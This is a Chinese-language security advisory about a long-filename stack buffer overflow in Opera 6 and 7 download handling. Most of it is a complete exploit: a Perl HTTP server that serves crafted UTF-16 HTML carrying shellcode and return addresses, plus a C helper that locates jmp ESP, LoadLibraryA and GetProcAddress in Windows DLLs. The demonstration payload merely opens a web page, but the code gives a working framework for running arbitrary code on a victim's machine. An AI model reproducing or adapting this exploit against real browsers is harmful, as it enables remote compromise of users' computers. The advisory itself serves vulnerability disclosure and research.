首页 -> 安全研究

安全研究

安全漏洞
Opera超长文件名远程缓冲区溢出漏洞

发布日期:2003-03-11
更新日期:2003-03-14

受影响系统:
Opera Software Opera Web Browser 7.02 bork build 2656b
Opera Software Opera Web Browser 7.01 build 2651
Opera Software Opera Web Browser 6.05 build 1140
Opera Software Opera Web Browser 7.02 build 2668
    - Microsoft Windows XP Home SP1
    - Microsoft Windows 98 SE
    - Microsoft Windows 2000 Professional SP3
描述:
Opera是一款开放源代码的WEB浏览器。

Opera在下载文件时没有正确检查文件名长度,远程攻击者可以利用这个漏洞构建恶意文件,诱使用户下载,从而触发缓冲区溢出。

如果Opera请求一个文件下载,服务器返回应答,在客户端的下载对话框("Download Dialog")会显示应答的内容或文件扩展名,然后要检查文件类型的临时文件将放到堆栈的缓冲区红,而缓冲区中将填充由用户环境变量定义的临时目录名和下载的文件名大小,由于对缓冲区缺少正确充分的检查,超长的下载文件名可导致破坏堆栈,精心构建下载文件名可能以用户权限在系统上执行任意指令。

<*来源:nesumin (nesumin@softhome.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104742430101957&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

nesumin(nesumin@softhome.net) 提供了如下测试程序:

#!/usr/bin/perl
#==========================================================
# Synopsis : Sample exploit code of
#            "[Opera 7/6] Long Filename Buffer Overflow
#            Vulnerability in Download"
# Version  : Opera 6 and Opera 7
# Vendor   : Opera Software ASA
# Usage    : perl this -h
#            -g option, this sample uses attached program, gpa.exe(gpa.c).
#            gpa.exe(gpa.c) is a little program to get addresses for Windows.
# Comment  : This sample is a little HTTP server which returns
#            HTML with the exploitcode that would run
#            Internet Explorer using this vulnerability.
# Example  : [1] Execute "perl this -p 10080".
#            [2] Open "http://127.0.0.1:10080/" by Opera.
#            [3] If the JavaScript, Frame and IFrame are off,
#                click the link below, "click here".
#
# by nesumin <nesumin@softhome.net>
#==========================================================
use IO::Socket;
use IO::Select;
use Getopt::Std;
my ($os, $serveraddr, $opera, $raiseexception, $port,$getaddress,
$ADDR_RET, $ADDR_GETPROCADDRESS, $ADDR_LOADLIBRARY);

#---------------------
# default setting
#---------------------
# server
$serveraddr = "127.0.0.1";
$port = 10080;

# opera version(for windows 9x)
# (6: opera6, 7: opera7)
$opera = 7;

# OS, kernel32.dll or other.
# win2k sp3 jp
$ADDR_RET               = 0x77E67D04;
$ADDR_LOADLIBRARY       = 0x77E6FEE8;
$ADDR_GETPROCADDRESS    = 0x77E7094C;

#win98 jp
#$ADDR_RET              = 0xBFF8F981;
#$ADDR_LOADLIBRARY      = 0xBFF77750;
#$ADDR_GETPROCADDRESS   = 0xBFF76E28;

$getaddress = "gpa.exe";
$raiseexception = 1;

#----------------------------------------------------------

print STDERR (" ____________________________.:.____________________________ \n");
print STDERR ("|                                                           |\n");
print STDERR ("|  [Opera 7/6] Long Filename Buffer Overflow Vulnerability  |\n");
print STDERR ("*                                                           *\n");
print STDERR ("*  This sample is a little HTTP server which returns HTML   *\n");
print STDERR ("*  with the exploitcode that would run Internet Explorer    *\n");
print STDERR ("|  using this vulnerability.                                |\n");
print STDERR ("|____________________________________.[ coded by nesumin ]._|\n\n");

my ($ADDR_OFFSET, $CODE_OFFSET, $FAKE_ADDR, $TEMPPRELEN,$tplhtml,
$resheader, $url, $fakeres, $data, $code, $exploithtml, $timeout,$TEMPDIRLEN);

getopts('hg:o:p:w:t:s:');
# -h usage
if (defined($opt_h) && $opt_h eq "1")
{
    Usage();
    exit(0);
}

# -g
if (! defined($opt_g) || $opt_g ne "1")
{
    die("cannot find \"$getaddress\"\n") unless (-x $getaddress);

    my $tmp = qx($getaddress);
    if ($tmp eq "" || $tmp!~m~^(0x[\dA-F]{8}),(0x[\dA-F]{8}),(0x[\dA-F]{8})~i)
    {
        die("cannot get address");
    }
    $ADDR_RET               = hex($1);
    $ADDR_LOADLIBRARY       = hex($2);
    $ADDR_GETPROCADDRESS    = hex($3);
}
printf STDERR ("RET ADDRESS\t\t0x%08X\n", $ADDR_RET);
printf STDERR ("LOADLIBRARY\t\t0x%08X\n", $ADDR_LOADLIBRARY);
printf STDERR ("GETPROCADDRESS\t\t0x%08X\n", $ADDR_GETPROCADDRESS);

# -t
# user's temp directory length
# depends on victim' environment variable
if (defined($opt_t))
{
    $TEMPDIRLEN     = $opt_t+0;
    #$TEMPDIRLEN    = 0x0f; # "c:\windows\temp"
    #$TEMPDIRLEN    = 0x22; # "C:\DOCUME~1\********\LOCALS~1\Temp"
}
else
{
    $TEMPDIRLEN     = length($ENV{'TEMP'});
}
printf STDERR (qq~TEMP Length\t\t%d\n~, $TEMPDIRLEN);

# -o opera version
if (defined($opt_o))
{
    if ($opt_o eq "6")
    {
        $opera = 6;
    }
    elsif ($opt_o eq "7")
    {
        $opera = 7;
    }
    print STDERR ("Opera version(for 9x)\t$opt_o\n");
}

# OS
$os = (exists($ENV{OS}) && $ENV{OS} =~ /^Windows_NT/) ? 1 : 0;

# -p port
$port = $opt_p + 0 if (defined($opt_p));
die("portno is not correct\n") if ($port < 1 && 65535 < $port);

# -s server
$serveraddr = $opt_s if (defined($opt_s) && $opt_s ne "");
print STDERR ("server\t\t\t$serveraddr:$port\n");

#----------------------------------------------------------
# open http://www.msn.com
$code = pack("C*",
    0xEB,0x3E,0x5B,0x53,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,0xD0,0x8B,0xD0,0x52,0x83,0xC3,
    0x0B,0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x83,0xC3,0x09,
    0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x83,0xC3,
    0x05,0x53,0x83,0xC3,0x13,0x53,0x53,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7,
    0xE8,0xBD,0xFF,0xFF,0xFF
);
$code .= pack("a*x" x 5, qw~msvcrt.dll _spawnlp exit http://www.msn.com explorer.exe~);

$code=~s~\xAA\xAA\xAA\xAA~pack("L", $ADDR_LOADLIBRARY)~eg;
$code=~s~\xBB\xBB\xBB\xBB~pack("L", $ADDR_GETPROCADDRESS)~eg;


$ADDR_OFFSET = 0x0107;
$TEMPPRELEN = 0x0c;
$ADDR_OFFSET -= ($TEMPDIRLEN + $TEMPPRELEN);

$FAKE_ADDR = 0x00410041;    # writable address.

$raiseexception and $ADDR_RET = 0xfefefefe;
#$raiseexception and $FAKE_ADDR = 0xfefefefe;

$resheader = "HTTP/1.0 200 OK\n";
$resheader .= "Content-type: text/html; charset=UTF-16\n";
$resheader .= "Pragma: no-cache\n";
$resheader .= "Connection: close\n";
$resheader .= "\n";

$fakeres = "HTTP/1.0 200 OK\n";
$fakeres .= "Content-type: application/x-AAAAAAAAAA\n";
$fakeres .= "Pragma: no-cache\n";
$fakeres .= "Connection: close\n";
$fakeres .= "\n";
$fakeres .= "\xff"; # for Opera 6, binary.
$fakeres .= "Love & Peace :)\n";

$url = "http://" . $serveraddr . ":" . $port . "/";
$url=~s~(.)~$1\x00~sg;
$tplhtml = <<_HTML_;
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-16">
<title></title>
</head>
<script language="JavaScript">
<!--
document.location.href = "{url}";
//-->
</script>
<noscript>
<frameset>
<frame src="{url}">
</frameset>
<noframe>
<body>
<iframe src="{url}" width="0" height="0"></iframe>
<a title="click here" href="{url}">click here</a>
</body>
</noframe>
</noscript>
</html>
_HTML_
$tplhtml=~s~(.)~$1\x00~gs;
my $replace = "{url}";
$replace=~s~(.)~$1\x00~gs;

#----
$timeout = undef;
my (%CLIENTS,$readbuf);
my $ssocket = new IO::Socket::INET(LocalPort=>$port, Listen=>SOMAXCONN, Reuse=>1) || die("$!");
print STDERR ("-" x 62, "\n");
print STDERR ("server started\n");
my $selecter = IO::Select->new($ssocket);

while (1)
{
    foreach my $active (@{(IO::Select->select($selecter,$timeout,undef,undef))[0]})
    {
        if ($active == $ssocket)
        {
            my $csocket = $ssocket->accept();
            if (! defined($csocket))
            {
                print STDERR ("accept error  $!\n");
                next;
            }
            print STDERR ("incoming client, $active\n");
            $csocket->autoflush();
            $selecter->add($csocket);
        }
        else
        {
            if ($active->recv($readbuf, 1024) && 0 < length($readbuf))
            {
                $CLIENTS{$active} .= $readbuf;
                if (0 <= rindex($CLIENTS{$active}, "\r\n\r\n"))
                {
                    if ($CLIENTS{$active}=~m~^GET (\S+) HTTP~is)
                    {
                        print STDERR ("request\n$CLIENTS{$active}\n");

                        if ($1 eq "/")
                        {
                            $CLIENTS{$active}=~m~\nUser-Agent:\s+(.+)~i;
                            my $ua = $1;
                            if (!defined($opt_o) && $ua ne '')
                            {
                                #opera
                                $opera = $ua =~m~Opera[/ ]?6~i ? 6 : 7;
                                #$os = $ua =~m~Windows ?(?:NT|XP|2000)~i ? 1 : 0;
                            }

                            if ($os == 0)           # 9x
                            {
                                if ($opera == 7)
                                {
                                    $data = $code;
                                    $data .= "\x90" x (($ADDR_OFFSET-1)*2-length($data));
                                    $data .= pack("L", $ADDR_RET);
                                    $data .= pack("C*", 0x90,0x90);
                                    $data .= pack("C*", 0xEB,0x04); # jmp
                                    $data .= pack("L", $FAKE_ADDR);
                                    # call dword ptr[esp+54h] // [esp+54h] is another pointer that is same filename data on heap.
                                    $data .= pack("C*", 0xFF, 0x54, 0x24, 0x54);
                                }
                                elsif ($opera == 6)
                                {
                                    $data = "\x41\x00" x ($ADDR_OFFSET+24);
                                    $data .= pack("L", $ADDR_RET);
                                    $data .= $code;
                                }
                            }
                            elsif ($os == 1)        # 2k, xp
                            {
                                $data = "\x41\x00" x ($ADDR_OFFSET-1);
                                $data .= pack("L", $ADDR_RET);
                                $data .= pack("C*", 0xEB,0x06); # jmp code
                                $data .= pack("C*", 0x90,0x90);
                                $data .= pack("L", $FAKE_ADDR);
                                $data .= $code;
                            }

                            $data = $url . $data;
                            $data .= "\x90" if length($data)&1;
                            $exploithtml = $tplhtml;
                            $exploithtml=~s~$replace~$data~gs;
                            $exploithtml = pack("C*",0xff,0xfe) . $exploithtml;

                            $active->send($resheader . $exploithtml);
                            print STDERR ("send response\n$resheader$exploithtml\n");
                            print STDERR ("$url\n");

                        }
                        else
                        {
                            $active->send($fakeres);
                            print STDERR ("response\n$fakeres\n");
                        }
                    }
                }
                elsif (0xffff > length($CLIENTS{$active}))
                {
                    next;
                }
                else
                {
                    $active->send("HTTP/1.0 400 Bad Request\r\n\r\n\r\n");
                }
            }
            print STDERR ("client closed, $active\n");

            delete($CLIENTS{$active});
            $selecter->remove($active);
            $active->close();
        }
    }
}

$ssocket->close();

exit(0);

sub Usage
{
    printf STDERR ("Usage: perl %s [-h] [-g] [-s servername] [-p port]\n", ($0=~m~([^\\/]+?)$~)[0]||"/");
    print STDERR ("       [-w os] [-t length_of_tempdir]\n");
    print STDERR ("Options:\n");
    print STDERR ("  -h print Usage\n");
    print STDERR ("  -g don't use gpa.exe\n");
    print STDERR ("  -s specify server name                     (default: $serveraddr)\n");
    print STDERR ("  -p specify server port(1024-65535),        (default: $port)\n");
    print STDERR ("  -o specify Opera version {6|7},            (default: 7)\n");
    printf STDERR ("  -t specify length of temporary directory name, (default: %d)\n",length($ENV{'TEMP'}));
    print STDERR ("\n");
}
nesumin(nesumin@softhome.net) 提供了如下测试程序:

//
// This little program returns the addresses of LoadLibraryA(),
// GetProcAddress(), and "jmp ESP" on your Windows.
//
// If your compiler cannot use SEH,
// please comment out "#define USE_SEH"
//
#include <stdio.h>

//===================================================================//
// a general routine, search in memory
#include <windows.h>
#include <psapi.h>

#define USE_SEH

//---------- data for search address ------------
const unsigned char *DllList[]={
    "kernel32.dll",// do not edit kernel32.dll
    "user32.dll",
    "gdi32.dll",
    "advapi.dll",
    "imm32.dll",
    "winmm.dll",
    "ole32.dll",
    "netapi32.dll"
};

#define DllCount (sizeof(DllList)/sizeof(unsigned char *))

const unsigned char *JmpESPList[3]={
    "\xFF\xD4",
    "\xFF\xE4",
    "\x54\xC3"
};

int isAddrAvailableChar(unsigned long IN_addr)
{
    // exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025
    return(
        (IN_addr & 0x0000ffff)
        && (IN_addr & 0xffff0000)
        && ((IN_addr & 0x0000ffff) != 0x0000ffff)
        && ((IN_addr & 0xffff0000) != 0xffff0000)
        && ((IN_addr & 0x0000ffff) != 0x0000002f)
        && ((IN_addr & 0xffff0000) != 0x002f0000)
        && ((IN_addr & 0x0000ffff) != 0x00000022)
        && ((IN_addr & 0xffff0000) != 0x00220000)
        && ((IN_addr & 0x0000ffff) != 0x0000003e)
        && ((IN_addr & 0xffff0000) != 0x003e0000)
        && ((IN_addr & 0x0000ffff) != 0x00000040)
        && ((IN_addr & 0xffff0000) != 0x00400000)
        && ((IN_addr & 0x0000ffff) != 0x00000025)
        && ((IN_addr & 0xffff0000) != 0x00250000)
    );
}

unsigned char * searchInMem(unsigned char *IN_start,int IN_size, const unsigned char *IN_data, int IN_data_size)
{
    unsigned char *cur_pos = IN_start + IN_size - IN_data_size;

#ifdef USE_SEH
    __try
    {
#endif
        while (cur_pos >= IN_start)
        {
            if ( 0 == memcmp(cur_pos, IN_data, IN_data_size)
                && isAddrAvailableChar((unsigned long)cur_pos) )
                return cur_pos;
            --cur_pos;
        }
#ifdef USE_SEH
    }
    __except((STATUS_ACCESS_VIOLATION == GetExceptionCode())
        ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
    {
    }
#endif

    return 0;
}

int getAddress(unsigned long *OUT_jmp,unsigned long *OUT_loadlib,unsigned long *OUT_getproc)
{
    int i,j;
    HMODULE hlist[DllCount];
    OSVERSIONINFO info;

    info.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
    GetVersionEx(&info);

    memset(hlist,0,sizeof(hlist));
    if (info.dwPlatformId==VER_PLATFORM_WIN32_NT)
    {
        // NT
        MODULEINFO minfo;
        HMODULE psapi = LoadLibrary("psapi.dll");
        BOOL (WINAPI *fp_GetModuleInformation)(HANDLE,HMODULE,LPMODULEINFO,DWORD);

        fp_GetModuleInformation = (void*)GetProcAddress(psapi,"GetModuleInformation");
        for (i=0;i<DllCount;++i)
        {
            hlist[i] = LoadLibrary(DllList[i]);
            if (hlist[i])
            {
                fp_GetModuleInformation(GetCurrentProcess(),hlist[i],&minfo,sizeof(MODULEINFO));

                for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.SizeOfImage,JmpESPList[j],2));++j);
                if (*OUT_jmp)
                {
                    break;
                }
            }
        }
        FreeLibrary(psapi);
    }
    else
    {
        // 9x
        MEMORY_BASIC_INFORMATION minfo;
        for (i=0;i<DllCount;++i)
        {
            hlist[i] = LoadLibrary(DllList[i]);
            if (hlist[i])
            {
                VirtualQuery(hlist[i],&minfo,sizeof(MEMORY_BASIC_INFORMATION));

                for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.RegionSize,JmpESPList[j],2));++j);
                if (*OUT_jmp)
                {
                    break;
                }
            }
        }
    }
    // kernel32.dll
    *OUT_loadlib = (unsigned long)GetProcAddress(hlist[0],"LoadLibraryA");
    *OUT_getproc = (unsigned long)GetProcAddress(hlist[0],"GetProcAddress");

    for (i=0;i<DllCount;++i)
        if (0 != hlist[i])
            FreeLibrary(hlist[i]);

    return (*OUT_jmp && *OUT_loadlib && *OUT_getproc) ? 1 : 0;
}

//----------------------------------------------------

int main()
{
    unsigned long jmpesp,loadlib,getproc;
    if (!getAddress(&jmpesp,&loadlib,&getproc))
        return -1;

    printf("0x%X,0x%X,0x%X",jmpesp,loadlib,getproc);
    return 0;
}

建议:
厂商补丁:

Opera Software
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.opera.com

浏览次数:4203
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障